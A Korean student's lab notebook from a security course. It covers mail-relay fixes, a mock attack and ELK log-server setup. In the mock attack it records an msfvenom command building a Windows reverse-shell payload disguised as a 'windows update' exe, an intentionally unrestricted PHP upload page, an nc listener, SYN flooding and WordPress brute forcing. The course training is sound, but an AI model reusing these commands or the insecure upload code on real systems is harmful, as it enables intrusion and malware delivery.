●19일차(20250114)
win10 웹으로 들어가지지 않아서
> resolv.conf 201로 수정
> 네트워크 dns > 99에서 201로 바꿔줬다
#미션1
해커로부터 오는 이메일 정상화시키기
nano /etc/mail/access
> 100.100.100.1 REJECT 주석처리
> st.kr relay 주석 풀기
makemap hash /etc/mail/access < /etc/mail/access
systemctl restart sendmail
systemctl restart dovecot
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=100.100.100.1 LPORT=4444 -b "\x00" -f exe -o /home/kali/windows_update_20250114001.exe
> 악성코드 생성
#미션2
1. 윈도우 원격연결 활성화시키기
윈도우7
컴퓨터에 오른쪽마우스 속성
원격설정
원격지원 허용
모든버전의 원격데스크톱 연결허용 체크
2. utm 설정

> 네트워크 정의 추가

> 밖에서 들어올 수 있게 방화벽 설정(포트 3389)
#미션3
lms.st.kr이라는 사이트가 정상적으로 운영되도록 설정할것
업로드 기능을 통해서 업로드
1. lms.st.kr 세팅
웹세팅
호스팅세팅
2. lms.st.kr에 zip파일 넣기
win10에서 알드라이브를 다운로드한 파일을 share파일에 옮겨 win7에서 다운받는다
알드라이브 FTP 밑에 lms.st.kr을 추가
zip 파일을 플고 알드라이브 lms.st.kr에 옳은 경로에 따로 넣어준다
3. 코드 수정(edit plus)
[upload.php]
업로드 파일은 enctype이 무조건 들어가야함
파일 id placeholder name = uploaded
버튼 name과 value를 Upload로 지정
타겟경로를 uploads/로 지정
> win7 cmd로 들어가서 경로 찾아 chmod 777 uploads
[upload.php]
<?php
include __DIR__."/includes/header.php";
if(isset($_POST['Upload'])){
echo "업로드 공격 시작";
$target_path="uploads/";
$target_path .= basename($_FILES['uploaded']['name']);
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'],$target_path)){
echo "업로드 공격 실패";
} else {
echo "업로드 공격 성공";
}
}
?>
<div class="container mt-3">
<h2>자료올리기</h2>
<p>업로드</p>
<table class="table table-hover">
<thead>
<tr>
<th>번호</th>
<th>제목</th>
<th>파일명</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>지원서</td>
<td>지원서.hwp</td>
</tr>
<tr>
<td>1</td>
<td>윈도우패치프로그램</td>
<td><a href="/uploads/windows_update_20250114001.exe">파일받기</a></td>
</tr>
</tbody>
</table>
<hr>
<form action="upload.php" method="post" enctype="multipart/form-data">
<div class="mb-3 mt-3">
<label for="file" class="form-label">파일</label>
<input type="file" class="form-control" id="uploaded" placeholder="uploaded" name="uploaded">
</div>
<button type="submit" class="btn btn-primary" name="Upload" value="Upload">파일올리기</button>
</form>
</div>
<?php
include __DIR__."/includes/footer.php";
?>
4. kali에서 lms.st.kr 웹접속
> 자료올리기 > 악성코드 파일 업로드
netstat - ant | grep 4444
> 안열려있음
nc -l -p 4444
> nc : 네트워크 관련 명령어
> 포트 열어줌
5. 실행
win7에서 lms.st.kr > 파일받기
> 해커는 방화벽때문에 관리자pc로 가지 못함
> 해커는 서버로 악성파일을 업로드, 관리자가 그 업로드한 파일을 다운로드
> 와이어샤크에서 해커의 ip가 노출되었다
-> 4444라는 열려있는 포트를 통해서 관리자가 해커의 IP를 알아냄
6. 방어
[server]
beats 를 다운받아 데이터를 받으면 selk로 보낼것임
> syslog(514)로도 충분히 로그를 분석할 수 있지만 시간이 오래걸림
> 시각화해서 편리하게 볼것임
[selk]
elasticsearch(9200) : 검색과 분석
kibana(5601) : elasticsearch의 데이터 분석 및 시각화 > nginx
logstash(5044) : 데이터 필터링 및 변환
> 전에 다 다운받아줌
[log서버(selk)]
1. 세팅
su
nano /etc/elasticsearch/elasticsearch.yml
> network.host : 0.0.0.0으로 수정
systemctl start elasticsearch
> 에러가 나면 다시 수정
> discovery, cluster 주석 제거해줌(에러가 나지 않으면 그대로 진행)
curl -X GET "localhost:9200"
> 잘 작동하는지 확인
systemctl enable elasticsearch
systemctl start kibana
netstat -ant | grep 5601
> 살짝 늦음
nano /etc/nginx/sites-available/default
server로 묶여있는 안에 내용을 일단 주석처리 (중간에 대괄호가 하나 더 있음 주석처리 해줘야함)
마지막에 있는 대괄호는 그냥 두자 (server 대괄호 닫아야함)
server {
listen 80;
server_name _;
location / {
proxy_pass http://localhost:5601;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}

systemctl reload nginx
systemctl start nginx
systemctl start kibana
systemctl enable kibana
> 다시켜도 자동으로 활성화
> 10.0.2.3을 웹에 치면 엘라스틱 화면이 나옴
> 조금 시간이 걸림
재부팅후 포트확인
80 9200 5601
netstat -ant | grep 5601
> 여러개가 뜸
2. 공격(dvwa.st.kr)
ping dvwa.st.kr
hping3 dvwa.st.kr -S -i u50 -c 5
nikto -host dvwa.st.kr
wpscan --url shop.st.kr -U user.txt -P passwd.txt > wordpress관련 공격
Brute Force > 다른거임
> access.log에 로그가 쌓일것임
3. log 분석
10.0.2.3 kibana 분석
관리자pc
cp access.log /backup/
elastic(10.0.2.3) 웹으로 간다
업로드 파일
> dvwa access.log는 업로드가 안됨
> editplus > c:\/users/manager/desktop/dvwa/access.log
> 많이 올라온걸 확인할 수 있다
cd /var/log/apache2
cp access.log /backup
> win7 바탕화면에 www와 dvwa 디렉토리를 따로 만들어서 access.log를 따로 넣어준다
엘라스틱 www_access.log로 업로드
import
www_access_log
create
> 데이터가 그래프 형식으로 시각화 할 수 있다
[서버설치]
filebeat, packetbeat 설치
curl -fsSL https://artifacts.elastic.co/GPG-KEY-elasticsearch |sudo gpg --dearmor -o /usr/share/keyrings/elastic.gpg
echo "deb [signed-by=/usr/share/keyrings/elastic.gpg] https://artifacts.elastic.co/packages/7.x/apt stable main" | sudo tee -a /etc/apt/sources.list.d/elastic-7.x.list
sudo apt update
sudo apt -y install filebeat
sudo apt -y install packetbeat
관리자에서 서버로 들어가자
nano /etc/filbeat/filbeat.yml
> input output으로 이루어져 있다
> path : /var/log/*.log
> .log에 관한 파일을 전부 읽어드린다
> logstash 5044라는걸 알려준다
> 로그스태쉬를 거쳐 필터링을 해준다음 엘라스틱이나 키바나로 보내지길 원한다
+) selk : elastic logstash kibana
[백업서버]
로그서버에서 logstash 세팅
netstat -ant | grep 5044
> 10.0.2.3 10.0.2.15에 붙어야됨
> 안붙음
systemctl start logstash
> enable을 하지말자
cd /etc/logstash/conf.d
nano beats-input.conf
input {
beats {
ports => 5044
}
}
nano /etc/logstash/conf.d/elasticsearch-output.conf
output {
if [@metadata][pipeline] {
elasticsearch {
hosts => ["localhost:9200"]
manage_template => false
index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}"
pipeline => "%{[@metadata][pipeline]}"
}
} else {
elasticsearch {
hosts => ["localhost:9200"]
manage_template => false
index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}"
}
}
}
sudo -u logstash /usr/share/logstash/bin/logstash --path.settings /etc/logstash -t
> 확인 코드
systemctl restart logstash